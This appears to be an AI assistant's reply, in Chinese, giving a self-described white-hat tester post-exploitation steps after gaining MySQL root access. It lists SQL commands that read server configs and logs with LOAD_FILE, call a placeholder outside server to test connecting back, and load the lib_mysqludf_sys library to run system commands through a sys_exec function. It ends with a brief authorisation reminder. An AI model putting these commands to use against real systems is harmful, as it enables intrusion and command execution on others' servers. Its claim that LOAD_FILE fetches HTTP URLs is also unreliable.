作为白帽子,若您在渗透测试中已获取数据库的 root 权限,但尚不清楚 Web 服务器地址,可以尝试以下几种方法来探索环境并寻找突破点:

一、信息收集

1. 查看数据库变量:
数据库常常会记录与环境相关的变量,通过以下命令可以找到服务器的路径线索:

SHOW VARIABLES LIKE '%dir%';
SHOW VARIABLES LIKE '%version%';
SHOW VARIABLES LIKE '%hostname%';
SHOW VARIABLES LIKE 'secure_file_priv';

分析:

datadir 通常指向数据库数据存放路径,可能与 Web 目录相邻。

secure_file_priv 若被设置,可能指向数据库能访问的目录,利用它可尝试读写文件。



2. 查询当前数据库用户:
有时数据库用户名称可能暗示服务器路径或主机名:

SELECT USER();
SELECT CURRENT_USER();


3. 探测网络环境:
若数据库服务器能访问外网,可尝试执行外连操作,确认 IP 地址:

SELECT LOAD_FILE('http://your-server-ip/info.txt');

若成功,说明数据库服务器可访问外部网络,您可以反向连接回去收集更多信息。



二、利用系统命令

若数据库允许执行系统命令(如通过 UDF 扩展),可以直接运行命令查看网络配置和目录结构:

1. 查找 Web 目录:
常见 Web 目录路径(Linux):

/var/www/

/usr/local/apache2/htdocs/

/srv/http/


使用以下命令查找:

SELECT LOAD_FILE('/etc/apache2/apache2.conf');
SELECT LOAD_FILE('/etc/nginx/nginx.conf');


2. 利用 UDF 提权:
若能创建自定义函数(UDF),可以通过编译共享库,导入数据库后执行系统命令:

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('ifconfig');

执行后,返回值可能包含网络接口信息,帮助您定位 Web 服务器。



三、利用数据库特性

1. 探测内部网络:
如果数据库支持连接外部资源(如 MySQL 的 mysql 命令),您可以尝试扫描内部网络:

SELECT host FROM information_schema.processlist;


2. 读取系统日志:
数据库的日志可能记录与 Web 服务交互的痕迹:

SELECT LOAD_FILE('/var/log/mysql/error.log');
SELECT LOAD_FILE('/var/log/nginx/access.log');



四、综合利用外部工具

如果具备足够权限,可以使用 Metasploit、sqlmap、nmap 等工具进一步探测网络环境,获取更多信息。

注意事项:

请务必获得合法授权,遵循渗透测试的道德规范。

记录所有测试步骤和发现,生成报告后及时向相关方反馈,并协助修复潜在漏洞。


如果需要具体脚本或工具配置,随时告诉我!
 
 
Back to Top